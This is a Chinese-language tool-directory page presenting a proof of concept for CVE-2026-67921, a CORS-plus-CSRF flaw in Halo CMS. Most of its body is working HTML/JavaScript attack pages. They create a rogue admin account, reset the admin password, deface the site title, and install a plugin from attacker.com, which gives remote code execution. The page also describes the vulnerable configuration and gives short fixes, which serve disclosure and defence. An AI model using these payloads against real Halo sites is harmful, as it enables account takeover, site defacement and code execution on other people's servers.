Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
halo-cors-csrf-CVE-2026-67921 — 概念验证,演示了 Halo CMS 中 CORS 配置错误与 CSRF 防护绕过相结合的问题,可利用跨站请求伪造攻击创建管理员用户、更改密码、安装插件以及修改内容。 | Kitploit
工具/GitHubGitHub/unpredictable21/halo-cors-csrf-cve-2026-67921
漏洞分析漏洞利用Web应用程序漏洞利用Web安全
GitHubunpredictable21/halo-cors-csrf-cve-2026-67921

halo-cors-csrf-CVE-2026-67921

概念验证,演示了 Halo CMS 中 CORS 配置错误与 CSRF 防护绕过相结合的问题,可利用跨站请求伪造攻击创建管理员用户、更改密码、安装插件以及修改内容。

查看仓库
16天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-67921:Halo CMS CORS 配置错误 + CSRF 防护绕过组合攻击

摘要

Halo CMS 2.25.4 及更早版本中存在一个严重的组合攻击漏洞,源于两个安全配置错误:

  1. CORS 配置错误:CORS 策略允许 *(任意来源)并设置 credentials: true
  2. CSRF 防护绕过:所有 API 端点(/api/**、/apis/**)均被排除在 CSRF 防护之外

当两者结合时,攻击者可以从任意来源发起跨站请求伪造攻击,绕过 CORS 本应强制执行的同源策略防护。

CVSS v3.1 评分: 9.3(严重)
CVSS 向量: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
CWE: CWE-352(跨站请求伪造)+ CWE-942(宽松的跨域策略) CVE ID: CVE-2026-67921


受影响版本

  • Halo CMS ≤ 2.25.4
  • 所有启用了 CORS 且对 API 路由禁用 CSRF 的版本

漏洞详情

漏洞 1:CORS 配置错误

文件: application/src/main/java/run/halo/app/security/CorsConfigurer.java

root@kitploit:~
CorsConfigurationSource apiCorsConfigSource() {
    var configuration = new CorsConfiguration();
    configuration.setAllowedOriginPatterns(List.of("*"));   // ← 任意来源
    configuration.setAllowCredentials(true);                // ← 允许携带 Cookie
    configuration.setAllowedHeaders(List.of(
        HttpHeaders.AUTHORIZATION,
        HttpHeaders.CONTENT_TYPE,
        HttpHeaders.ACCEPT,
        "X-XSRF-TOKEN",
        HttpHeaders.COOKIE));
    configuration.setAllowedMethods(List.of("GET", "POST", "PUT", "DELETE", "PATCH"));
    source.registerCorsConfiguration("/api/**", configuration);
    source.registerCorsConfiguration("/apis/**", configuration);
    return source;
}

影响: 任何网站都可以使用用户的 Cookie 向 Halo 的 API 发起经过身份验证的请求。

漏洞 2:CSRF 防护绕过

文件: application/src/main/java/run/halo/app/security/CsrfConfigurer.java

root@kitploit:~
@Override
public void configure(ServerHttpSecurity http) {
    var csrfMatcher = new AndServerWebExchangeMatcher(
        CsrfWebFilter.DEFAULT_CSRF_MATCHER,
        new NegatedServerWebExchangeMatcher(
            pathMatchers("/api/**", "/apis/**", "/actuator/**", "/system/setup")),
        // ← API 路由被排除在 CSRF 之外!
        new NegatedServerWebExchangeMatcher(tokenAuthMatcher()));
    http.csrf(csrfSpec -> csrfSpec.csrfTokenRepository(new CookieServerCsrfTokenRepository())
        .requireCsrfProtectionMatcher(csrfMatcher));
}

影响: API 请求不需要 CSRF 令牌,即使通过会话 Cookie 进行身份验证也是如此。


攻击机制

为什么这种组合是危险的

防护措施单独存在组合存在
CORS *阻止携带凭据(浏览器强制)允许携带凭据!
无 CSRF受同源策略保护被 CORS 绕过!
结果安全完全 CSRF 攻击

攻击流程

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│  攻击者在 evil.com 上托管恶意页面                            │
│  <form action="http://halo:8090/apis/..." method="POST">   │
│    <input name="..." value="...">                          │
│  </form>                                                    │
│  <script>document.forms[0].submit()</script>               │
└─────────────────────────────────────────────────────────────┘
                            ↓
┌─────────────────────────────────────────────────────────────┐
│  受害者的浏览器访问 evil.com                                 │
│  → 表单自动提交至 Halo API                                   │
│  → 浏览器自动携带会话 Cookie                                 │
│  → CORS:Origin * + credentials: true → 请求被允许!         │
│  → CSRF:/apis/** 被排除 → 无需令牌!                        │
│  → 请求以受害者的权限成功执行                                │
└─────────────────────────────────────────────────────────────┘

利用场景

场景 1:创建管理员用户

root@kitploit:~
<html>
<body>
<form id="csrf-form" action="http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users" method="POST">
  <input type="hidden" name="apiVersion" value="v1alpha1"/>
  <input type="hidden" name="kind" value="User"/>
  <input type="hidden" name="metadata.name" value="hacker"/>
  <input type="hidden" name="spec.password" value="hacker123"/>
  <input type="hidden" name="spec.displayName" value="Hacker"/>
</form>
<script>document.getElementById('csrf-form').submit();</script>
</body>
</html>

场景 2:修改管理员密码

root@kitploit:~
<html>
<body>
<form id="csrf-form" action="http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users/admin/password" method="PUT">
  <input type="hidden" name="password" value="newpassword123"/>
</form>
<script>
  var xhr = new XMLHttpRequest();
  xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users/admin/password', true);
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.withCredentials = true;
  xhr.send(JSON.stringify({password: 'newpassword123'}));
</script>
</body>
</html>

场景 3:安装恶意插件(远程代码执行)

root@kitploit:~
<html>
<body>
<script>
  var xhr = new XMLHttpRequest();
  xhr.open('POST', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri', true);
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.withCredentials = true;
  xhr.send(JSON.stringify({uri: 'http://attacker.com/malicious-plugin.jar'}));
</script>
</body>
</html>

场景 4:修改站点内容

root@kitploit:~
<html>
<body>
<script>
  // 修改站点标题
  var xhr = new XMLHttpRequest();
  xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/systemconfigs', true);
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.withCredentials = true;
  xhr.send(JSON.stringify({site: {title: 'Hacked by Attacker'}}));
</script>
</body>
</html>

概念验证

基础 CSRF 测试

创建 csrf-test.html:

root@kitploit:~
<!DOCTYPE html>
<html>
<head><title>Halo CSRF PoC</title></head>
<body>
<h1>Halo CORS+CSRF 攻击 PoC</h1>
<p>此页面加载时将尝试修改 Halo 设置。</p>

<script>
// 通过修改站点标题测试 CSRF
var xhr = new XMLHttpRequest();
xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/systemconfigs', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.withCredentials = true;

xhr.onload = function() {
    if (xhr.status === 200 || xhr.status === 204) {
        document.body.innerHTML += '<p style="color:green">成功!CSRF 攻击已生效。</p>';
    } else {
        document.body.innerHTML += '<p style="color:red">失败:' + xhr.status + '</p>';
    }
};

xhr.send(JSON.stringify({
    "site": {
        "title": "CSRF 攻击成功 - " + new Date().toISOString()
    }
}));
</script>
</body>
</html>

验证步骤

  1. 在已登录 Halo 的浏览器中打开 csrf-test.html
  2. 检查站点标题是否被修改
  3. 在浏览器控制台中检查 CORS 响应头:
root@kitploit:~
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

影响分析

攻击方式影响严重程度
创建管理员用户系统完全沦陷严重
修改管理员密码账户接管严重
安装恶意插件远程代码执行严重
修改内容网站篡改高
删除数据数据丢失高
窃取数据信息泄露高

修复建议

修复 1:限制 CORS 来源

root@kitploit:~
// 将通配符替换为特定来源
configuration.setAllowedOriginPatterns(List.of(
    "https://yourdomain.com",
    "https://admin.yourdomain.com"
));

修复 2:为 API 路由启用 CSRF

root@kitploit:~
// 从 CSRF 匹配器中移除 API 排除项
var csrfMatcher = new AndServerWebExchangeMatcher(
    CsrfWebFilter.DEFAULT_CSRF_MATCHER,
    new NegatedServerWebExchangeMatcher(tokenAuthMatcher()));

修复 3:使用 Bearer 令牌认证

对于 API 端点,建议优先使用 Bearer 令牌认证而非会话 Cookie,因为前者不受 CSRF 攻击影响。


参考

  • 厂商:https://github.com/halo-dev/halo
  • CWE-352:https://cwe.mitre.org/data/definitions/352.html
  • CWE-942:https://cwe.mitre.org/data/definitions/942.html

时间线

  • 发现日期:2026-07-10
下载工具